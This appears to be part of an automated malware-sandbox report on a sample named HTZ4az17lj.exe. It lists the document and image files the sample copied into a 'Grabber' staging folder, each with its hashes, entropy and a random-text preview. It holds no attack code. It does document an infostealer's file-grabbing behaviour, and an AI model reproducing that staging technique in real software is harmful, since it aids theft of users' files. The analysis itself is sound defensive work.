Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\SQSJKEBWDT\SQSJKEBWDT.docx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\SQSJKEBWDT\ZGGKNSUKOP.jpg

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\ZGGKNSUKOP.jpg

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\ZIPXYXWIOY.png

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697427014915338
Encrypted:	false
SSDEEP:	24:J87vGcgdreYqco0NFLg5eIatTFj9qVUq2Z:J83gAYq8NFRtx7Z
MD5:	2D7ACA56B5F340F28DD1D2B46D700BA6
SHA1:	3966684FF029665614B8DC948349178FB9E8C078
SHA-256:	B227E5E45D28AC063349BC70CC01A3F6DB15C101432A8609E0202064F7E5936D
SHA-512:	D4BFC2BB839DAEBAE8C894A0B8EB2314D2BE0304C82EB89BE16D6C820874952534CE0D93AE62EEF3DD2BE8A4D1E828B883E50BD204D04624AB945119D2FAB4F0
Malicious:	false
Preview:	ZIPXYXWIOYFFJDUIEBFLHIUBYNNMJGYPFQONGOLQHGMFRFYQGSVGNDSCQJYWDCIKWJWNYHFUEMJVEPAFIPAROVFAVARCOHESRJKUIUYDXNZOERBEQGHQNKYMVMEEMKKKEYXXPAKWYGCIXNFSVDOOEUTNGSDXMYEZKQTRDCZXZXIFSRMNAEPZWJKKYULUPGZCQORNOJBGAAOPLYNJCPFWSASJWTLALTQZLWOGFWQVOXGYBCMNEBDESHLNZZBETDIGNLTNPZEPEQAMYCNYWEKKQKDVZPNYLWAFZIPSSVNHOPUMIBTFXVVCNCPUSOKETVBDNZLCRKBRLGSHFSQLECHUOWGFFEMDWHASNSMAXKZZMDLZVQLADFBDUCCIJERQXKRXUCTKGDGKPESHHXUPKZSGNKOITMVITFCBELJVTCKENQCMCJEDZJDQDSKAYFGQEYICXDUOIJRYIMVXRKNBYXQEHUHYSPGEDSJBOQNXHFTSSRTPOXDVFXEPQUGWNEAKZJOKYPEYKXMOMKTKOBVISHMUGELPJCXBYNEXOAWOXHSEELVSCFMZYAMOLTGIWURMTZTRNGMWQZBRQHAIXVJIAFPZGWJZIOQLOAXJSGKMZNZCAVJWFGUFMQWQICMPVNAYRUHAMQLWLJMBERSFPEZHMNVAZFQAJEGYJQOMQWFTQVXZYTDPYVGZZPSNSOJWWKZDRPZKGTXYSENWOIQFXDIRWPJEYALOOEYQPHOPKSIZFNHPOXOKSTDVPNBSCDDKPOUVXMFBUNBMEUYGOSYMHMUNKKADTAEIUEMXYPOPMUVBHTBVKYAHHJXFUJPFZJZARAFLARBIWKXMNKXJLVBLJSZYYVIBZHROONQENYZGGMMETTMOFHCCQNUHPDEUTVVGUDBCKVXVUMRWPGZIPPUXJEJQIEQWLBUQBUODMWPSBFOYIQZWMYWPHWSKTRCKCRXWZUOTDTDRLLUSSQZXZZEATFSHBUWQUYHDLRMVVWFCPAZNSBXA

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\desktop.ini

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	402
Entropy (8bit):	3.493087299556618
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmUclLwr2FlDmo0IWF9klrgl2FlDmo0qjKAev:QCGwv4o0hlLwiF4o0UUsF4o01AM
MD5:	ECF88F261853FE08D58E2E903220DA14
SHA1:	F72807A9E081906654AE196605E681D5938A2E6C
SHA-256:	CAFEC240D998E4B6E92AD1329CD417E8E9CBD73157488889FD93A542DE4A4844
SHA-512:	82C1C3DD163FBF7111C7EF5043B009DAFC320C0C5E088DEC16C835352C5FFB7D03C5829F65A9FF1DC357BAE97E8D2F9C3FC1E531FE193E84811FB8C62888A36B
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.0.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.2.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.5.....

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Downloads\BJZFPPWAPT.jpg

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Downloads\BNAGMGSPLO.docx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701704028955216
Encrypted:	false
SSDEEP:	24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
MD5:	5F97B24D9F05FA0379F5E540DA8A05B0
SHA1:	D4E1A893EFD370529484B46EE2F40595842C849E
SHA-256:	58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
SHA-512:	A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
Malicious:	false
Preview:	BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Downloads\BNAGMGSPLO.xlsx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701704028955216
Encrypted:	false
SSDEEP:	24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
MD5:	5F97B24D9F05FA0379F5E540DA8A05B0
SHA1:	D4E1A893EFD370529484B46EE2F40595842C849E
SHA-256:	58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
SHA-512:	A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
Malicious:	false
Preview:	BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Downloads\DUUDTUBZFW.png

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

